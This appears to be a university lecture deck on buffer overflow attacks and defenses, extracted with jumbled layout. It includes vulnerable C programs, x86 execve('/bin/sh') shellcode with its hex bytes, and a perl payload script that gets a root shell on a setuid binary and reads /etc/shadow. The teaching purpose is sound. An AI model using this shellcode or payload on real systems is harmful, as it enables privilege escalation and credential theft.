Sie sind auf Seite 1von 110

Buffer Overflow

CSCI 262
Outline
1. Stack overflow
 Buffer overflow basics
 Stack buffer overflows
 shellcode
2. Defending against buffer overflows
 Compile-time defense
 Run-time defenses
3. Other forms of overflow attacks
 Replacement stack frame
 Return-to-system call
 Heap overflow
 Global data area overflows
 Other types of overflows
Buffer Overflow
1. A very common attack mechanism
 from 1988 Morris Worm to Code Red,
Slammer, Sasser and many others
2. Prevention techniques known
3. Still of major concern due to
 Legacy of widely deployed buggy
 Continued careless programming
techniques
NIST DEFINITION OF BUFFER OVERFLOW

 A condition at an interface under which more


input can be placed in a buffer or data holding
area than the capacity allocated, overwriting
other information
 Attackers exploit such a condition to crash a
system or to insert crafted code that allows
them to gain control of the system
Buffer Overflow Basics

Caused by programming error


Allows more data to be stored than capacity
available in a fixed sized buffer
– buffer can be on stack, heap, global data
Overwriting adjacent memory locations results in:
a. Corruption of program data
b. Unexpected transfer of control
c. Memory access violation
d. Execution of code chosen by attacker
Visualization
http://www2.sis.pitt.edu/~is2470pb/Fall02/
Final/rb/Buffer.html
String manipulation functions

Pearson Addison-Wesley. All


rights reserved. 9-7 Copyright © 2012
String manipulation functions

Copyright © 2012 Pearson 9-8


 Three variables:
Buffer Overflow Example  valid, str1 str2
int main(int argc, char *argv[]) {  values saved in adjacent
int valid = FALSE;
char str1[8]; memory locations from
char str2[8];
copy into str1 some expected highest to lowest
next_tag(str1); tag value, eg “START”.
gets(str2); reads the next line from the
if (strncmp(str1, str2, 8) == 0)
valid = TRUE;
standard
printf("buffer1: str1(%s), str2(%s),
valid(%d)\n", str1, str2, valid); Compare up to 8 char in str1 and str2
} If equal, put valid to true

$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE),
valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
C gets() function The C
int main(int argc, char *argv[]) { gets() is a
int valid = FALSE;
char str1[8]; vulnerability
char str2[8];

next_tag(str1);
gets(str2);
if (strncmp(str1, str2, 8) == 0)
 gets() does not include
valid = TRUE; any checking on the
printf("buffer1: str1(%s), str2(%s), amount of data copied.
valid(%d)\n", str1, str2, valid);  If more than 7 characters
}
are present on the input
line, when read in they
$ cc -g -o buffer1 buffer1.c
$ ./buffer1 will (along with the
START terminating NULL
buffer1: str1(START), str2(START), valid(1) character) require more
$ ./buffer1 room than is available in
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE), the str2 buffer.
valid(0)  Consequently the extra
$ ./buffer1 characters will proceed to
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
overwrite the values of the
str2(BADINPUTBADINPUT), valid(1) adjacent variable, str1 in
this case
C gets() function The C
int main(int argc, char *argv[]) { gets() is a
int valid = FALSE;
char str1[8]; vulnerability
char str2[8];

next_tag(str1);
gets(str2);
if (strncmp(str1, str2, 8) == 0)  hacker can use this
valid = TRUE; vulnerablity to force a
printf("buffer1: str1(%s), str2(%s), success test even if the
valid(%d)\n", str1, str2, valid); strings are not equal
}
 If str1 is badinput
 Hacker can use craft str2
$ cc -g -o buffer1 buffer1.c
$ ./buffer1 as: badinputbadinput
START  The test will succeed!
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE),
valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
C gets() function
int main(int argc, char *argv[]) {
int valid = FALSE;
char str1[8];
char str2[8];

next_tag(str1);
gets(str2);
if (strncmp(str1, str2, 8) == 0)
valid = TRUE;
printf("buffer1: str1(%s), str2(%s),
valid(%d)\n", str1, str2, valid);
}

$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE),
valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
C gets() function The C
int main(int argc, char *argv[]) { gets() is a
int valid = FALSE;
char str1[8]; vulnerability
char str2[8];

next_tag(str1);
gets(str2);
if (strncmp(str1, str2, 8) == 0)
valid = TRUE;
printf("buffer1: str1(%s), str2(%s),
valid(%d)\n", str1, str2, valid);
}

$ cc -g -o buffer1 buffer1.c  Hacker can use this vulnerability


$ ./buffer1 to force a success test even if the
START strings are not equal
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
 If str1 is badinput
EVILINPUTVALUE  Hacker can use craft str2 as:
buffer1: str1(TVALUE), str2(EVILINPUTVALUE), badinputbadinput
valid(0)  The test will succeed!
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
Buffer Memory Before After Contains
Address gets(str2) gets(str2) Value of
Overflow
Example . . . . . . . . . . . .

bffffbf4 34fcffbf 34fcffbf argv


4 . . . 3 . . .
bffffbf0 01000000 01000000 argc
. . . . . . . .
bffffbec c6bd0340 c6bd0340 return
. . . @ . . . @ addr
bffffbe8 08fcffbf 08fcffbf old base
. . . . . . . . ptr
bffffbe4 00000000 01000000 valid
. . . . . . . .
bffffbe0 80640140 00640140
. d . @ . d . @
bffffbdc 54001540 4e505554 str1[4-7]
T . . @ N P U T
bffffbd8 53544152 42414449 str1[0-3]
S T A R B A D I
bffffbd4 00850408 4e505554 str2[4-7]
. . . . N P U T
bffffbd0 30561540 42414449 str2[0-3]
0 V . @ B A D I

. . . . . . . . . . . .
Buffer Overflow Attacks
To exploit a buffer overflow an attacker
– must identify a buffer overflow vulnerability in
some program
 inspection, tracing execution, fuzzing tools
– understand how buffer is stored in memory
and determine potential for corruption
A Little Programming Language
History
 At machine level all data an array of bytes
– interpretation depends on instructions used
– Values. Addresses , instructions
 Modern high-level languages
– have a strong notion of type and valid operations
– not vulnerable to buffer overflows
– does incur overhead, some limits on use
 C and related languages
– have high-level control structures, but allow direct access to
memory
– hence are vulnerable to buffer overflow
– have a large legacy of widely used, unsafe, and hence
vulnerable code
Table 10.3
Common x86 Assembly Language Instructions
Table 10.4
x86 Registers
Function call
ARE WE DONE WITH STACKS
AND FUNCTION CALLS?
Frame pointer
Example
Function Calls and Stack Frames
Calling function:
1. Push parameters for
the called function
onto the stack ( in
reverse order)
2. Executes the call
instruction to call the
target function,
which pushes the
return address onto
the stack
Function Calls and Stack Frames
 For the called function:
1. Push the current frame
pointer value which points to
the calling routine’s stack
frame
2. Sets the frame pointer to be
the current stack ptr value
(the address of the old frame
pointer)
3. Allocates space for local
variables, by moving the
stack ptr down to leave
sufficient room for them.
Function Calls and Stack Frames
 For the called function:
4. Runs the body of the called
function
5. As it exits, it first Sets the
stack ptr back to the value of
frame ptr ( clearing thespace
used by the local variables)
6. Pops the old frame ptr
value(restoring the link to the
calling routine’s stack frame)
7. Executes the return
instruction which pops the
saved address off the stack
and return controls to the
calling fucntion
Stack Buffer Overflow

Occurs when buffer is located on stack


– used by Morris Worm
– “Smashing the Stack” paper popularized it
Have local variables below saved
frame pointer and return address
– hence overflow of a local buffer can
potentially overwrite these key control items
Attacker overwrites return address with
address of desired code
– program, system library or loaded in buffer
Because the local variables are placed below
the saved frame pointer and return address,
 the possibility exists of exploiting a local
buffer variable overflow vulnerability to
overwrite the values of one or both of these
key function linkage values.
 This possibility of overwriting the saved
frame pointer and return address forms the
core of a stack overflow attack.
The attacker can overwrite the return address
with any desired value, not just the address of
the targeted function.
It could be the address of any function, or
indeed of any sequence of machine
instructions present in the program or its
associated system libraries.
However, the approach used in the original
attacks was to include the desired machine
code in the buffer being overflowed.
Programs and Processes
Stack Overflow Example
void hello(char *tag) 1. prompts for a name,
{
char inp[16]; 2. reads it into the
buffer inp using the
printf("Enter value for %s: ", tag); unsafe gets()
gets(inp);
printf("Hello your %s is %s\n", tag, inp); library routine.
} 3. It then displays the
value read using the
$ cc -g -o buffer2 buffer2.c
printf() library
$ ./buffer2 routine.
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie Normal
buffer2 done
execution
$ ./buffer2
Enter value for name: Segmentation fault-
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)
crashing the system

$ perl -e 'print pack("H*",


"414243444546474851525354555657586162636465666768
08fcffbf948304080a4e4e4e4e0a");' | ./buffer2 Executing the
Enter value for name:
Hello your Re?pyy]uEA is ABCDEFGHQRSTUVWXabcdefguyu
attacker’s code
Enter value for Kyyu:
Hello your Kyyu is NNNN
Segmentation fault (core dumped)
Stack Overflow Example
Return Memory Before After Contains
Address gets(inp) gets(inp) Value of Return
address is address is
8040380f 08048394
. . . . . . . . . . . .

bffffbe0 3e850408 00850408 tag


> . . . . . . .
Saved bffffbdc f0830408 94830408 return
. . . . . . . . addr Saved
frame bffffbd8 e8fbffbf e8ffffbf old base frame
pointer . . . . . . . . ptr
bffffbd4 60840408 65666768 pointer
bfffbe8
` . . . e f g h bfffbe8
bffffbd0 30561540 61626364
0 V . @ a b c d
bffffbcc 1b840408 55565758 inp[12-
. . . . U V W X 15]
inp bffffbc8 e8fbffbf 51525354 inp[8-11]
Contains . . . . Q R S T
bffffbc4 3cfcffbf 45464748 inp[4-7]
Garbage < . . . E F G H
value bffffbc0 34fcffbf 41424344 inp[0-3]
4 . . . A B C D

. . . . . . . . . . . .
Basic stack overflow
An attacker can overwrite the return
address with any desired value, not just
the address of the desired function.
It can be the address of any function or
even any sequence of machine
instructions present in the program or its
associated system libraries. (SHELL
CODE).
More stack overflow vulnerabilities
 So far, the buffer overflow has occurred when
the input was read.
– If the buffer does not check if the buffer is large
enough
– Or if the data copied are not correctly terminated
 Buffer overflows can also occur
a. When a program can safely read and save input,
pass it around the program,
b. and then at some later time in another function
unsafely copy it, resulting in a buffer overflow.
More stack overflow
Figure 11.7a shows an example program
The main() function includes the buffer buf.
This is passed along with its size to the function
getinp() which safely reads a value using
fgets().
 The getinp()function then returns to
main(), which then calls the function
display() with the value in buf.
More stack overflow
This function constructs a response string in a
second local buffer called tmp and then
displays this.
Unfortunately, the sprintf() library routine
is another common, unsafe C library routine.
Note in this program that the buffers are both
the same size.
The problem that may result occurs when data
is being merged into a buffer that includes the
contents of another buffer, such that the space
needed exceeds the space available.
Another Stack Overflow
void getinp(char * inp, int siz)
{
puts("Input value: ");
fgets( inp, siz, stdin);
printf("buffer3 getinp read %s\n", inp);
}

void display(char * val)


{
char tmp[16];
sprintf( tmp, "read val: %s\n", val);
puts( tmp);
}

int main( int argc, char * argv[])


{
char buf[16];
getinp( buf, sizeof( buf));
display( buf);
printf("buffer3 done\n");
}
Another Stack Overflow
$ cc -o buffer3 buffer3.c

$ ./buffer3
Input value:
SAFE
buffer3 getinp read SAFE
read val: SAFE
buffer3 done

$ ./buffer3
Input value:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 getinp read XXXXXXXXXXXXXXX
read val: XXXXXXXXXXXXXXX

buffer3 done
Segmentation fault (core dumped)
Where to look for buffer overflow
All possible places where externally
sourced data are copied or merged have
to be located.
Most common usafe standard c routines
should not be used without proper
checking
Better if you replace them with safer
alternatives
Shellcode

code supplied by attacker


– often saved in buffer being overflowed
– traditionally transferred control to a shell
machine code
– specific to processor and operating system
– traditionally needed good assembly language
skills to create
– more recently have automated sites/tools
Shell code why?
Because traditionally its function was to
transfer control to a user command-line
interpreter, or shell.
On Unix , achieved by compiling the code for
a call to the execve (“/bin/sh”) system function
On Windows systems, the call is made for the
system (“command.exe”) function to run the
DOS shell command.
Shell code why?
Shellcode is machine code,
a series of binary values corresponding to the
machine instructions and data values that
implement the attacker’s desired functionality.
Shell code why?
This means shellcode is specific to a particular
processor architecture, and indeed usually to a
specific operating system (O/S).
Writing it traditionally required a good
understanding of the assembly language and
operation of the targeted system.

Shell code why?
However, more recently a number of sites and
tools have been developed which automate this
process,
thus making the development of shellcode
exploits available to a much larger potential
audience. e.g. the Metasploit Project site.
Shellcode Development
illustrate with classic Intel Linux shellcode
to run Bourne shell interpreter
shellcode must
– marshall argument for execve() and call it
– include all code to invoke system function
– be position-independent
– not contain NULLs (C string terminator)
Shell code development
The shellcode marshals the necessary arguments
for the execve(sh, args, NULL) system
function, including suitable minimal argument
and environment lists,
And then calls the function
Generating the shell code, the high--level
language specification must be compiled into
equivalent machine language.
Shell code development
But, a number of changes must then be made.
For use in shellcode, the instructions to make
this system call are included inline, rather than
relying on the library function.
There are also several generic restrictions on
the content of shell code.
First, the execv(sh, args, NULL) is a library
function that:
 in turns marshalls the supplied arguments into
the correct locations ( machine registers in the
case of Linux)
And then triggers the software interrupt to
invoke the kernel to perform the desired
system call.
Shell code development
It has to be “position-independent”, not
containing any absolute address referring to
itself,
Because the attacker generally cannot
determine in advance exactly where the
targeted buffer will be located in the stack
frame of the function in which it is defined.
In shell code, the INSTRUCTIONS are
INLIUDED inline rather then relying on the
library function.
Shell code development
These stack frames are created one
below the other
Working down from the top of the stack,
as the flow of execution in the target
program has functions calling other
functions.
The number of frames and hence, final
location of the buffer will depend on the
precise sequence of function calls leading
to the target function.
This function might be called from several
different places in the program
There might be:
– different sequences of function calls ,
– or different amounts of temporary local
values using the stack before it is finally
called
the attacker may have an approximate idea
of the location of the stack frame,
BUT This location cannot be determined
exactly
So, the shellcode must be able to run no
matter where in memory it is located.
ONLY RELATIVE Address References ,
offsets to the current instruction address can
be USED.
Shell code development
It also cannot contain any NULL values,
This as a consequence of how it is typically
copied into the buffer in the first place,
Most of the buffer overflow attacks Involve
using unsafe string manipulation routines.
In C, a string is always terminated with a
NULL character, which means the only place
the shell code can have a NULL is at the end.
After all the code, overwritten frame pointer,
and return address values
AT&T vs Intel X86 assembly
• Intel Syntax
instr foo,segreg:[base+index*scale+disp]
• mov eax,[ebx+20h] add eax,[ebx+ecx*2h
• lea eax,[ebx+ecx] sub eax,[ebx+ecx*4h-20h]

• AT&T Syntax
instr %segreg:disp(base,index,scale), foo
• mov 0x20(%ebx),%eax addl (%ebx,%ecx,0x2),%eax
leal (%ebx,%ecx),%eax subl0x20(%ebx,%ecx,0x4),%eax
Back to the Desired shellcode

How is it How about for use in the


referenced? shell code?

In C, as a global variable Has to be part of the instructions


Equivalent Position-independent X86 assembly code
Hexadecimal values for complied
x86 machine code
Another Stack Overflow
Example Shellcode
nop
nop // end of nop sled
jmp find // jump to end of code
cont: pop %esi // pop address of sh off stack into %esi
xor %eax,%eax // zero contents of EAX
mov %al,0x7(%esi) // copy zero byte to end of string sh (%esi)
lea (%esi),%ebx // load address of sh (%esi) into %ebx
mov %ebx,0x8(%esi) // save address of sh in args[0] (%esi+8)
mov %eax,0xc(%esi) // copy zero to args[1] (%esi+c)
mov $0xb,%al // copy execve syscall number (11) to AL
mov %esi,%ebx // copy address of sh (%esi) t0 %ebx
lea 0x8(%esi),%ecx // copy address of args (%esi+8) to %ecx
lea 0xc(%esi),%edx // copy address of args[1] (%esi+c) to %edx
int $0x80 // software interrupt to execute syscall
find: call cont // call cont which saves next address on stack
sh: .string "/bin/sh " // string constant
args: .long 0 // space used for args array
.long 0 // args[1] and also NULL for env array

90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20
Example Stack Overflow Attack
$ dir -l buffer4
-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4
$ whoami
knoppix
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ cat attack1
perl -e 'print pack("H*",
"90909090909090909090909090909090" .
"90909090909090909090909090909090" .
"9090eb1a5e31c08846078d1e895e0889" .
"460cb00b89f38d4e088d560ccd80e8e1" .
"ffffff2f62696e2f7368202020202020" .
"202020202020202038fcffbfc0fbffbf0a");
print "whoami\n";
print "cat /etc/shadow\n";'
$ attack1 | buffer4
Enter value for name: Hello your yyy)DA0Apy is
e?^1AFF.../bin/sh...
root
root:$1$rNLId4rX$nka7JlxH7.4UJT4l9JRLk1:13346:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$FvZSBKBu$EdSFvuuJdKaCH8Y0IdnAv/:13346:0:99999:7:::
...
More Stack Overflow Variants

target program can be:


– a trusted system utility
– network service daemon
– commonly used library code, e.g. image
shellcode functions
– spawn shell
– create listener to launch shell on connect
– create reverse connection to attacker
– flush firewall rules
– break out of choot environment
Buffer Overflow Defenses

buffer overflows are widely exploited


large amount of vulnerable code in use
– despite cause and countermeasures known
two broad defense approaches
– compile-time - harden new programs
– run-time - handle attacks on existing programs
Compile-Time Defenses:
Programming Language
use a modern high-level languages with
strong typing
– not vulnerable to buffer overflow
– compiler enforces range checks and
permissible operations on variables
do have cost in resource use
and restrictions on access to hardware
– so still need some code inC like languagesl
Compile-Time Defenses:
Safe Coding Techniques
if using potentially unsafe languages eg C
programmer must explicitly write safe code
– by design with new code
– after code review of existing code, cf OpenBSD
buffer overflow safety a subset of general
safe coding techniques
– allow for graceful failure
– checking have sufficient space in any buffer
Compile-Time Defenses:
Safe Coding Techniques
 so far , all the examples covered focused
on standard library routines such as gets().
With string manipulation, the problem is
not confined to these only.
We can also write explcit code to move
code in an unsafe way.
fread
Reading Files in C
fread(void *ptr, size_t size, size_t
count, FILE *s);

*ptr: Where should the data be read into?


size: What is the size of each piece of data?
count: How many pieces?
*s: What (FILE *) do we read from?
Unsafe byte copy ??

Size of the to array?

How do we correct
the problem?

Copies len bytes of from array into the to array


starting at position pos and returning the end
position
Unsafe byte input

Size of the to array?


Compile-Time Defenses:
Language Extension,
Safe Libraries
have proposals for safety extensions to C
– performance penalties
– must compile programs with special compiler
have several safer standard library variants
– new functions, e.g. strlcpy()
– safer re-implementation of standard functions
as a dynamic library, e.g. Libsafe
Compile-Time Defenses:
Stack Protection
add function entry and exit code to check stack
for signs of corruption
use random canary
– e.g. Stackguard, Win /GS
– check for overwrite between local variables and
saved frame pointer and return address
– abort program if change found
– issues: recompilation, debugger support
or save/check safe copy of return address
– e.g. Stackshield, RAD
Canary

Return Address  Canary value should


Old frame pointer be unpredictable
Canary
 Should be different on
Param 1
Param 2
different systems
Return addr
Old frame ptr  Otherwise hacker
Canary will make sure the
Local 1 shell code includes
Local 2 the correct canary at
the correct location
Stack protection= canary
Some problems:
1. Programs needing protection must be
recompiled.
2. Stack structure has changed , may
cause problems with debuggers.
3. But, canary approach was used to
recompile an entire Linux distribution,
giving it high protection against buffer
overflow.
Stack frame protection
 Stackshield and Return Address Defense (RAD)
Include additional function entry and exit code.
On function entry, the added code writes a copy
of the return address to a safe region of memory.
On function exit, the added code checks the
return address in the stack frame against the one
saved
If discrepancies, program is aborted.
Run Time defense
Main objective:
 compile-time defense requires usually
recompilation of existing program
Run-time defense:
– developed as Operating Systems updates
– Change to memory mgt of the virtual address
space of processes.
– To either alter the property of a memory region
or to make predicting the location of targeted
buffers difficult to discourage attackers.
Run-Time Defenses:
Non Executable Address Space
use virtual memory support to make some
regions of memory non-executable
– e.g. stack, heap, global data
– need h/w support in MMU
– long existed on SPARC / Solaris systems
– recent on x86 Linux/Unix/Windows systems
issues: support for executable stack code
– need special provisions
Executable address space
Many of the buffer overflow attacks involve
copying machine code into the targeted buffer,
and then transferring execution to it.
A possible defense is to block the execution of
code on the stack/heap/global data,
 assuming that executable code should only
be found elsewhere in the processes address
space.
Executable address space
To support this feature efficiently requires
support from the processor’s memory
management unit (MMU) to tag pages of virtual
memory as being non-executable.
Some processor’s, such as the SPARC used by
Solaris, have had support for this for some time.
Enabling its use in Solaris requires a simple
kernel parameter change.
Executable address space
Other processor’s such as the x86 family have
not had this support until recently, with the
relatively recent addition of the no-execute bit
in its MMU.
Extensions have been made available to Linux,
BSD and other Unix style systems to support the
use of this feature.
Support for enabling no-execute protection is
also included in recent Windows systems.
Executable address space
Making the stack (and heap) non-executable
provides a high degree of protection against many
types of buffer overflow attacks for existing
programs.
However, one issue is support for programs that do
need to place executable code on the stack, such as:
– with the Java Runtime system.
– Executable code on the stack is also used to implement
nested functions in C, and also Linux signal handlers.
 Special provisions are needed to support these requirements.
 Nonetheless, this is regarded as one of the best methods for
protecting existing programs and hardening systems against
some attacks.
Run-Time Defenses:
Address Space Randomization
manipulate location of key data structures
– stack, heap, global data
– using random shift for each process
– have large address range on modern systems
means wasting some has negligible impact
also randomize location of heap buffers
and location of standard library functions
Address randomization
Manipulation of the location of key data structures
(stack, heap, global data) in a processes address space.
Why?
The attacker needs to be able to predict the approximate
location of the targeted buffer in one of these areas to
determine a suitable return address to use in the attack to
transfer control to the shellcode.
We can increase the difficulty of this prediction if we
change the address at which the stack is located in a
random manner for each process.
Address randomization
The range of addresses available on modern processors is
large (48-bits for icore 7).
and most programs only need a small fraction of that.
If we MOVE the stack memory region around by a
megabyte:
It will have only minimal impact on most programs,
but it will make predicting the targeted buffer’s address
almost impossible.
This amount of variation is larger than any vulnerable
buffer.
There is NO CHANCE of using a large enough NOP sled
to conduct a stack overflow.
Address randomization
 Related to this, randomizing the allocation of memory on the heap
makes the possibility of predicting the address of targeted buffers
extremely difficult, thus thwarting the successful execution of some
heap overflow attacks.
 Also we can randomize the order of loading standard libraries by a
program, and their virtual memory address locations.
 This makes the address of any specific function sufficiently
unpredictable as to render the chance of a given attack correctly
predicting its address, very low.
Run-Time Defenses:
Guard Pages
place guard pages between critical
regions of memory
– flagged in MMU as illegal addresses
– any access aborts process
can even place between stack frames and
heap buffers
– at execution time and space cost
Other Overflow Attacks

have a range of other attack variants


– stack overflow variants
– heap overflow
– global data overflow
– format string overflow
– integer overflow
more likely to be discovered in future
some cannot be prevented except by
coding to prevent originally
Replacement Stack Frame

stack overflow variant just rewrites buffer


and saved frame pointer
– so return occurs but to dummy frame
– return of calling function controlled by attacker
– used when have limited buffer overflow
– e.g. off by one
limitations
– must know exact address of buffer
– calling function executes with dummy frame
Return to System Call

stack overflow variant replaces return


address with standard library function
– response to non-executable stack defences
– attacker constructs suitable parameters on
stack above return address
– function returns and library function executes
 e.g. system(“shell commands”)
– attacker may need exact buffer address
– can even chain two library calls
Heap Overflow

also attack buffer located in heap


– typically located above program code
– memory requested by programs to use in
dynamic data structures, e.g. linked lists
no return address
– hence no easy transfer of control
– may have function pointers can exploit
– or manipulate management data structures
defenses: non executable or random heap
Heap Overflow Example

/* record type to allocate on heap */


typedef struct chunk {
char inp[64]; /* vulnerable input buffer */
void (*process)(char *); /* pointer to function */
} chunk _t;

void showlen(char * buf) {


int len; len = strlen( buf);
printf("buffer5 read %d chars\n", len);
}

int main( int argc, char * argv[]) {


chunk _t *next;
setbuf( stdin, NULL);
next = malloc( sizeof( chunk_t));
next->process = showlen;
printf("Enter value: ");
gets(next-> inp);
next->process(next-> inp);
printf("buffer5 done\n");
}
Heap Overflow Example

$ attack2 | bu ffer5
Enter v alue:
root
root:$1 $4oIn mych$T 3BVS2 E3OyN RGjGU zF4o3 /:133 47:0: 99999: 7:::
daemon: *:114 53:0:9 9999: 7:::
...
nobody: *:114 53:0:9 9999: 7:::
knoppix :$1$p 2wziIM L$/yV HPQuw 5kvlU FJs3b 9aj/: 13347 :0:999 99:7: ::
...
Global Data Overflow
can attack buffer located in global data
– may be located above program code
– if has function pointer and vulnerable buffer
– or adjacent process management tables
– aim to overwrite function pointer later called
defenses: non executable or random
global data region, move function pointers,
guard pages
Global Data Overflow Example
/* global static data - targeted for attack */
struct chunk {
char inp[64]; /* input buffer */
void (*process)(char *); /* ptr to function */
} chunk;
void showlen(char *buf)
{
int len;
len = strlen(buf);
printf("buffer6 read %d chars\n", len);
}
int main(int argc, char *argv[])
{
setbuf(stdin, NULL);
chunk.process = showlen;
printf("Enter value: ");
gets(chunk.inp);
chunk.process(chunk.inp);
printf("buffer6 done\n");
}
Summary
introduced basic buffer overflow attacks
stack buffer overflow details
shellcode
defenses
– compile-time, run-time
other related forms of attack
– replacement stack frame, return to system
call, heap overflow, global data overflow

Das könnte Ihnen auch gefallen